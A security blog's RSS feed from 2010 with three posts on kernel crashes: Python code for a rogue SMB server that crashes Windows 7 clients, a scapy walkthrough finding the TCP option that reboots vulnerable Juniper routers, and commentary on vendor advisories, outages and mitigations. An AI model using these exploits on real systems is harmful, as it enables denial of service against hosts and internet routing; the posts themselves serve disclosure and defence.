<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Praetorian Prefect &#187; kernel</title>
	<atom:link href="http://praetorianprefect.com/archives/tag/kernel/feed/" rel="self" type="application/rss+xml" />
	<link>http://praetorianprefect.com</link>
	<description>Information security, a little slower...a little deeper</description>
	<lastBuildDate>Thu, 29 Jul 2010 16:38:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Windows 7 SMB Kernel Crash Video</title>
		<link>http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/</link>
		<comments>http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 05:27:07 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[crash]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[SMB]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=2997</guid>
		<description><![CDATA[Back <a href="http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/">on November 11th, 2009</a> we confirmed <a href="http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html">Laurent Gaffié's remote exploit</a> for Windows that causes a kernel crash. The operating system actually freezes creating a denial of service when for example a user is tricked into clicking on a link to a malicious SMB share on a web page. The SMB client goes into an infinite loop when processing this malformed request according to Microsoft. The video below demonstrates this effect, having a user click a web site link and showing the crash.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/patch_tuesday.jpeg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/patch_tuesday.jpeg" alt="patch_tuesday" title="patch_tuesday" width="126" height="129" class="alignleft size-full wp-image-3014" /></a></p>

<p><a href="http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/">Back on November 11th, 2009</a> we confirmed <a href="http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html">Laurent Gaffié&#8217;s remote exploit</a> for Windows that causes a kernel crash. The operating system actually freezes creating a denial of service when, for example, a user is tricked into clicking on a link on a web page to a malicious SMB share request. The SMB client goes into an infinite loop when processing this malformed request according to Microsoft. The video below demonstrates this effect, having a user click a web site link and showing the crash.</p>

<blockquote>
  <p>&#8220;We are not aware of any active attacks using the exploit code that was made public for this vulnerability&#8221; <br />Jerry Bryant, Microsoft</p>
</blockquote>

<p>Microsoft discusses this problem under <a href="http://www.microsoft.com/technet/security/advisory/977544.mspx">Security Advisory 977544</a>. The Security Response Center (MSRC) blog announced last Thursday that <a href="http://blogs.technet.com/msrc/archive/2010/01/07/january-2010-bulletin-release-advance-notification.aspx">it would not correct</a> this bug in this month&#8217;s patch release. The MSFT advisory initially discusses ingress rules for firewalls (rules for requests coming from the Internet) under mitigating factors, which would not be helpful in the case of a user making the request by clicking a link. It then catches this though under &#8216;Workarounds&#8217; by stating to &#8220;block all SMB communications to and from the Internet to help prevent attacks&#8221;, which is a correct approach.</p>

<h3>Windows 7 SMB Crash Video</h3>

<p>People seem to be having a hard time visualizing this attack. The video below demonstrates first the crash itself, and then simulates a user clicking a link to a malformed SMB request.</p>

<p><object width="751" height="366"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=8731397&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=8731397&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="751" height="366"></embed></object></p>

<h3>Test Code</h3>

<p>Here is the Python code used for testing, based on Gaffie&#8217;s original post:</p>

<pre><code>import SocketServer as a
packet = "\x00\x00\x00\x9a"
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
class x(a.BaseRequestHandler):
  def handle(s):
      print "You connecting to me: %s"%(s.client_address[0])
      i = s.request.recv(1024)
      s.request.send(packet)
      s.request.close()
print "Waiting for the victim to connect to my open port 445"
launch = a.TCPServer(('', 445),x)
launch.serve_forever()
</code></pre>

<h3>SMB</h3>

<p>Server Message Block or <a href="http://en.wikipedia.org/wiki/Server_Message_Block">SMB is an application-layer network protocol</a> commonly used by Microsoft Windows to share files over the Local Area Network (LAN).</p>

<h3>Finally</h3>

<p>Many ISP&#8217;s will block requests associated with the SMB protocol for home broadband Internet connections in reaction to past remote threats that use the SMB port. For businesses, unless good egress rules are in place (many times they are not), this attack is a realistic threat. Good egress rules will block it, and should already be in place for other potential threats if not already there. This provides a good excuse to check.</p>

<p>Microsoft has yet to release a scheduled fix date for this. While not as problematic as say an exploit that allows for code injection, a remotely exploitable DOS attack that remains announced and in zero day status for more than two months likely does merit attention in February&#8217;s patch Tuesday release.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/">IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/juniper-kernel-crash-scapy-code/">Juniper Kernel Crash &#8211; scapy Code</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/">JUNOS (Juniper) Kernel Crash Video</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Juniper Kernel Crash &#8211; scapy Code</title>
		<link>http://praetorianprefect.com/archives/2010/01/juniper-kernel-crash-scapy-code/</link>
		<comments>http://praetorianprefect.com/archives/2010/01/juniper-kernel-crash-scapy-code/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 21:45:30 +0000</pubDate>
		<dc:creator>Jeremy Rossi</dc:creator>
				<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[Juniper]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[scapy]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=2962</guid>
		<description><![CDATA[Following the Juniper kernel flaw posts, we received a number of inquiries regarding how to determine the option value to use, however we were somewhat reluctant to provide that level of detail. Now that <a href="http://evilrouters.net/2010/01/09/junos-psn-2010-01-623-exploit/">exploit code has been published</a> elsewhere, there is little reason not to answer this question.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/juniper_thumb2.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/juniper_thumb2.gif" alt="juniper_thumb" title="juniper_thumb" width="73" height="73" class="alignleft size-full wp-image-3143" /></a></p>

<p>On January 6th, we wrote about <a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/">a JUNOS flaw</a> that caused a kernel crash in Juniper routers and demonstrated the <a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/">effect in action</a> in a video. At the time Juniper was not making details of the advisory public, however since then <a href="http://osvdb.org/ref/61/juniper-PSN-2010-01-623.txt">PSN-2010-01-623</a> has shown up on the Open Source Vulnerability Database under entry <a href="http://osvdb.org/61538">61538</a>.</p>

<p>Following the Juniper kernel flaw posts, we received a number of inquiries regarding how to determine the option value to use, however we were somewhat reluctant to provide that level of detail. Now that <a href="http://evilrouters.net/2010/01/09/junos-psn-2010-01-623-exploit/">exploit code has been published</a> elsewhere, there is little reason not to answer this question.</p>

<p>To test all possible TCP options using <a href="http://www.secdev.org/projects/scapy/">scapy</a> (a python based packet manipulation program), first download the latest copy of scapy (including all library dependencies) from their <a href="http://hg.secdev.org/scapy/">Mercurial code repository</a> as shown below:</p>

<pre><code>$ hg clone http://hg.secdev.org/scapy/
$ cd scapy
$ python setup build
$ sudo python setup install
</code></pre>

<p>Start scapy as root:</p>

<pre><code>$ sudo run_scapy
INFO: Can't import python gnuplot wrapper . Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.1.0-dev)
&gt;&gt;&gt; 
</code></pre>

<p>We started this particular test by first creating an IP packet with a destination of the Juniper test router instance named &#8216;ipl&#8217;.</p>

<pre><code>&gt;&gt;&gt; ipl = IP(dst="172.17.20.102")
&gt;&gt;&gt; ipl
&lt;IP  dst=172.17.20.102 |&gt;
</code></pre>

<p>Initially we tested all TCP options as fast as possible just to see if it was possible to reproduce the reported vulnerability (a kernel crash that causes the router to reboot).</p>

<pre><code>&gt;&gt;&gt; send([ipl/TCP(dport=23, options=[(x, "")])/"bye bye" for x in range(256)])
................................................................................................................
................................................................................................................
................................
Sent 256 packets.
</code></pre>

<p>The previous command created 255 packets with every possible TCP option, sent them all at once, and the router crashed. While this performed as expected, it only told us that we were on the right track (the advisory was correct, an option setting crashes the router), however it does not tell us which option.</p>

<p>The scapy tool can send a ping following each test packet to see if the router is still up and responding, as demonstrated:</p>

<pre><code>&gt;&gt;&gt; for x in range(255):
...    send(ipl/TCP(dport="22", options=[(x,"")])
...    if not sr1(/ICMP(), retry=-1, timeout=1, verbose=0):
...         print "we have a winner: %s"%(x)
...         break
...
we have a winner: 101
</code></pre>

<p>Now that we have a winner, we know which option value caused the kernel crash Juniper reported.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/">IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/">Windows 7 SMB Kernel Crash Video</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/">JUNOS (Juniper) Kernel Crash Video</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/01/juniper-kernel-crash-scapy-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JUNOS (Juniper) Kernel Crash Video</title>
		<link>http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/</link>
		<comments>http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 01:28:52 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[Juniper]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[router]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=2863</guid>
		<description><![CDATA[We have noted some interesting responses since <a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/">our post yesterday</a> detailing the information in Juniper bulletin PSN-2010-01-623 and our thoughts on its somewhat understated effect. Since our post yesterday, the bulletin has been updated, becoming more specific about the versions affected (basically excluding JUNOS version 10.x and versions no longer supported by Juniper). We have tested all 256 permutations of the Options field in the TCP header, and reproduced the kernel crash, which is demonstrated in the video below.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/juniper_thumb1.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/juniper_thumb1.gif" alt="juniper_thumb" title="juniper_thumb" width="73" height="73" class="alignleft size-full wp-image-2864" /></a></p>

<p>We have noted some interesting responses since <a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/">our post yesterday</a> detailing the information in Juniper bulletin PSN-2010-01-623 and our thoughts on its somewhat understated effect. Since our post yesterday, the bulletin has been updated, becoming more specific about the versions affected (basically excluding JUNOS version 10.x and versions no longer supported by Juniper). We&#8217;ve been quoted here and there saying  that <a href="http://www.theregister.co.uk/2010/01/07/juniper_critical_router_bug/">the potential worst case scenario</a> with this flaw could have been widespread Internet outages (not overstatement in our opinion), and that such a simple attack that escapes filtering and <a href="http://www.computerworld.com/s/article/9143342/Juniper_patches_router_crashing_bug">can reboot high end routers is a big deal</a>. We have tested sending all 256 permutations of the Options field in the TCP header to a vulnerable Juniper router operating system, found the correct value, and reproduced the kernel crash, which is demonstrated in the video below.</p>

<p><object width="700" height="674"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=8606222&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=8606222&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="700" height="674"></embed></object></p>

<p><br />
<a href="http://www.secdev.org/projects/scapy/">SCAPY</a> was used to send the packets used in the test.</p>

<h3>Responses to Our Original Post</h3>

<h4>The Bizarre</h4>

<p>We&#8217;ve seen kind of off the wall responses, like this one:</p>

<p><i>It seems like this isn&#8217;t as major as they say. Sure it&#8217;s a kernel crash, but it requires a packet to be sent to a listening port. I doubt any core routers have any ports open to the public internet at all.</i></p>

<p>In order for a router to function as a router, some TCP ports must be open. The BGP port will be open on a core router. So yes, a core router will not have ports open to the public Internet. The BGP port however will be open to neighbors, and a packet that cannot be filtered negates ACL rules preventing access by anyone but neighbors. At a high level, that is how high end equipment is affected.</p>

<h4>The Official</h4>

<p>We saw the response from Juniper we talked about yesterday repeated again today, which continues to leave something to be desired: <i>A Juniper spokeswoman declined to provide more technical details on the issue, saying that the company only passes on this information to customers and partners. The advisory was one of seven issued recently by the company, she said via e-mail. </i></p>

<p>Yes, there were seven advisories. Six were somewhat less interesting than one of them:</p>

<ul>
<li>PSN-2010-01-627 &#8211; RPD cores when injected with malformed PIM messages &#8211; (As it is not commonly used over the Internet, this issue is confined to the organizations that are running PIM internally)</li>
<li>PSN-2010-01-626 &#8211; BGP Malformed AS-4 Byte Transitive Attributes Drop BGP Sessions &#8211; (If you are running an affected version (there aren&#8217;t many), upgrade ASAP.)</li>
<li>PSN-2010-01-625 &#8211; Invalid RSVP packet causes RPD process busy loop and router becomes unresponsive &#8211; (RSVP is used almost excursively inside a services providers network as part of a larger MPLS Traffic Engineering solution.  Due to the use of MPLS VPN&#8217;s, RSVP in this environment is not exposed to transit traffic or from within the VPN&#8217;s.  The exposure of this is much lower.)</li>
<li>PSN-2010-01-624 &#8211; Unauthorized user can obtain root access using cli &#8211; (Any access escalation issue is a big problem, but in this case for routers, if someone else is able to login and get console access you have other problems that need to be addressed.)</li>
<li>PSN-2010-01-623 &#8211; JUNOS kernel cores when it receives an crafted TCP option. &#8211; (Not so good.)</li>
<li>PSN-2010-01-622 &#8211; as-path-prepend and specific length AS_PATH we can cause a Juniper to send corrupted update packets to eBGP neighbors &#8211;  (BGP as-path-prepend router level configuration that can be corrected by making changes to the config.)</li>
<li>PSN-2010-01-621 Crafted RSVP Path Object Overloads the RPD Process &#8211; (RSVP is used almost exclusively inside a service providers network as part of a larger MPLS Traffic Engineering solution.  Due to the use of MPLS VPN&#8217;s RSVP in this environment is not exposed to transit traffic or from traffic within the VPN&#8217;s.  The exposure of this problem is lower.)</li>
</ul>

<h4>Unofficial, but from Juniper Anyway</h4>

<p>We received <a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/#comments">a response from Matt at Juniper in the comment section</a> of the original post, which we appreciated. He tightened the versions affected information, by noting the mistake in the original Juniper bulletin that stated version 10.x was affected.</p>

<p>Again, thanks for the update Matt.</p>

<h4>Another Unofficial, but from Juniper Anyway</h4>

<p>JuniperPhilly responds in the <a href="http://forums.theregister.co.uk/forum/1/2010/01/07/juniper_critical_router_bug/">comments of the Register article</a> as follows:</p>

<p><i>it&#8217;s probably not as bad as you might think- All Junos software releases built on or after January 28, 2009 have fixed this specific issue. In short, we fixed this particular problem about 350 days ago.
&#8230;.
Disclaimer: I work for Juniper as a Systems Engineer.</i></p>

<p>Well, sort of. The criticality of the defect was certainly reclassified, so the fix made a while back actually seems divorced from the discovery that this problem leads to a kernel crash based on a remote exploit. The Juniper advisory itself reads this way, suggesting that the fix was made without knowing that it was a fix for a remote exploit. This is not that uncommon, problems are fixed for one reason, without ever knowing there was an even better reason for correcting it.</p>

<p>But routers, especially high capacity ones, are only patched for serious reasons. So a defect identified but not reported in the same way back in January 2009 does not carry the affect of releasing a bulletin labeled critical yesterday. The second makes people maintaining those routers move, as the example below shows.</p>

<p><a href="http://news.qwest.com/company">Qwest</a>, like other backbone providers, doesn&#8217;t have unannounced outages for unspecified security concerns over &#8220;not as bad as you might think&#8221; issues:</p>

<pre><code>Date: 2010-01-07 10:04:08 GMT (15 hours and 1 minute ago)
We just had a qwest outage of about 2 mins at 1:41am pst. When I called 
to report it I was told it was a 200+ emergency software upgrade due to 
a security concern, and that we will get a notice later after the fact. 
Normally we get notices in advance, even for software upgrades due to 
security or other important issues, so I am curious if other qwest 
customers had the same experience and wether this is how it's going to 
be from here on in? The affected platform was juniper and I'd love to 
know the specfic case being addressed here.

Mike-
</code></pre>

<p>Source: <a href="http://thread.gmane.org/gmane.org.operators.nanog/71244">http://thread.gmane.org/gmane.org.operators.nanog/71244</a></p>

<p>This thread actually produced interesting responses regarding how the actual notification was published after the outage:</p>

<ul>
<li><i>My QWest account manager called three different people at my business 7hrs before the maintenance. Also mentioned the Juniper Security Advisories.</i> &#8211; Joe</li>
<li><i>We also got email notifications about &#8216;emergency maintenance&#8217; on our Qwest circuits, from their notice: Reason For Maintenance:  EMERGENCY MAINTENANCE TO IMPLEMENT A SOFTWARE PATCH FOR NETWORK RELIABILITY</i> &#8211; Ken</li>
<li><i>Yeah, they refused to notify due to security concerns from what they told me last night. Notification was performed after maintenance was complete.</i> -Jack</li>
<li><i>Same thing for us in Minnesota. Brief outage and emergency outage notification came after the outage.</i> -Dylan</li>
<li><i>Notices were left at the discretion of Qwest account teams.  There was no mass notification.</i> -Jason</li>
</ul>

<p>The thread link above contains this and the rest of this particular discussion.</p>

<h4>The Newsgroups</h4>

<p>We were told the problem wasn&#8217;t corroborated by discussions in newsgroups. It started showing up today:</p>

<ul>
<li><a href="http://thread.gmane.org/gmane.org.operators.nanog/71244">qwest outage no notice</a></li>
<li><a href="http://thread.gmane.org/gmane.network.nsp.juniper/15350">JUNOS vulnerability with malformed TCP packets</a></li>
<li><a href="http://thread.gmane.org/gmane.network.nsp.juniper/15366">vulnerability fix not available for 8.5 ?</a></li>
<li><a href="http://thread.gmane.org/gmane.network.nsp.juniper/15356">JUNOS vulnerability with malformed TCP packets</a></li>
</ul>

<h3>Yeah but Cisco makes the Core Routers</h3>

<p>Sigh&#8230;</p>

<p>Not to become public relations for Juniper, but:</p>

<p><i>The innovations listed above, as well as many others, have helped the T Series become the industry&#8217;s most widely deployed core routing family. Juniper has shipped over 5000 T Series to more than 220 customers around the world — including more than 500 T1600s in just over a year of availability. According to Synergy Research, in the past five years, Juniper&#8217;s share of the core routing market has grown by 44 percent — with the company gaining 11 points of share as others have seen share declines.</i>
<br />
Source: <a href="http://www.juniper.net/us/en/company/press-center/press-releases/2009/pr_2009_06_08-09_00.html">http://www.juniper.net/us/en/company/press-center/press-releases/2009/pr_2009_06_08-09_00.html</a></p>

<p>And the following line from the same press release:
<i>All of these platforms are powered by JUNOS® Software, a single operating system integrating routing, switching, security and network services from Juniper Networks. </i></p>

<h3>What about Anti-spoofing and egress filtering</h3>

<pre><code>(Comments From: ANTON DELPORT)

One thing that will also be required for a successful attacked would be spoofed IP packets. 
Keep in mind that most ISP follow the best practice guidelines and implement ACL and 
anti-spoofing. So yes, the router will listen to BGP port but only for a small range 
of prefixes. If the source address (and destination) is not correct, the packet will
be dropped in hardware before it can do any damage.
</code></pre>

<p>Anti-spoofing and egress filtering as recommended by BCP 38 is to help mitigate this issue for routers that are not at the edge.  It does nothing to help the edge routers themselves.  Example:</p>

<ul>
<li>Service provider Alice peers with service provider Bob in NYC. </li>
<li>Alice&#8217;s edge router (<code>10.10.10.1/30</code>) exchanges routes with Bob&#8217;s edge router (<code>10.10.10.2/30</code>) via BGP</li>
<li>Bad actor Charlie sends a JunOS rebooting packets from inside Alice&#8217;s network to <code>10.10.10.2</code></li>
<li>The best path from with in Alice&#8217;s network to reaching <code>10.10.10.2</code> will most likely be the peering connection in NYC. </li>
<li>The packet will <em>NOT</em> be stopped within Alice&#8217;s network as it has a valid return and destination address.  </li>
<li>Bob&#8217;s edge router is <em>NOT</em> able to filter any of the JunOS rebooting packets due to ACL&#8217;s not having any effect on this issue.</li>
<li>Even if the bad actor Charlie is several networks away from Bob, should his packet pass through Alice&#8217;s network, it will hit Bob&#8217;s edge and cause the same harm. </li>
</ul>

<p>The reason why this issue is real is that I can identify border networks simply with <code>traceroute</code>, and I know that BGP is used to exchange routes. Given this information there is nothing to protect providers if they are running an affected version of the software at the edge of their network.</p>

<h3>Finally</h3>

<p>So people are attaching viewpoints to this problem that don&#8217;t entirely make sense. A high end router is not the same as your local Microsoft Windows OS, it doesn&#8217;t get updated every month following Tuesday, it gets updated when a network administrator determines there is a problem severe enough to warrant an outage to make the patch update. Many of the &#8220;big iron&#8221; routers that would have been affected had this been out in the wild (which as far as we know its not yet) were not patched as of Monday, and from all appearances were patched as of late Tuesday.</p>

<p>Juniper is a major player in the high end router market, it is not a one player market. If an unpatched Juniper router were hit with this packet, it would crash.</p>

<p>But let&#8217;s walk through a thought experiment for the &#8220;this wouldn&#8217;t have been a big deal if uncorrected&#8221; crowd:</p>

<p>Watch the video above, the OS reboot takes a while on a virtual machine (big routers take longer). Imagine a bot net being rented to run the program that was developed for the video above at a certain time (say midnight). Conceive of the bad actor identifying boundary routers between service providers (traceroute), and sending the crafted packet to the BGP port of both side&#8217;s IP addresses, rebooting boxes, and severing BGP connections. Even after reboot, the effects are magnified as a BGP convergence happens globally.</p>

<p>You can rent a decent size botnet on the Internet right now if you like. The program above that found the right option to send took a couple hours to write (on and off with other things going on), the actual option field that causes the problem identified fairly quickly after that. The second program that sends the packet is just a small python script.</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/101_Dalmatians_Puppies_1.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/101_Dalmatians_Puppies_1.gif" alt="101_Dalmatians_Puppies_1" title="101_Dalmatians_Puppies_1" width="176" height="175" class="alignleft size-full wp-image-2894" /></a></p>

<p>This hypothetical scenario would have been a long day on the old Intertubes. I&#8217;m sure there are details to be worked out (if you crash enough gateways, can you continue the attack?), but you get the idea.</p>

<p>So let&#8217;s be realistic as we go into the automatic &#8220;nothing is ever really a big issue, everything is FUD&#8221; reactive mode that so often follows news in information security. Remote exploits are still bad. Ones that cause kernel crashes are still bad. Remote exploits that cause kernel crashes in one of the most widely used network operating systems in the world are bad. Identifying security issues that are critical, responding to them appropriately, sending out bulletins with appropriate CVSS ratings, and avoiding big potential problems like this, are good. We can&#8217;t call it a total win (its not hard to find the option value, and so this could enter the wild shortly), but it looks from the outside like large providers have taken preventative steps to be prepared.</p>

<p>And if anyone else noticed Twitter seemed to have its own blackout, of Juniper personnel, as none of them have been tweeting a whole lot this week.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/">IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/">Windows 7 SMB Kernel Crash Video</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/juniper-kernel-crash-scapy-code/">Juniper Kernel Crash &#8211; scapy Code</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
	</channel>
</rss>
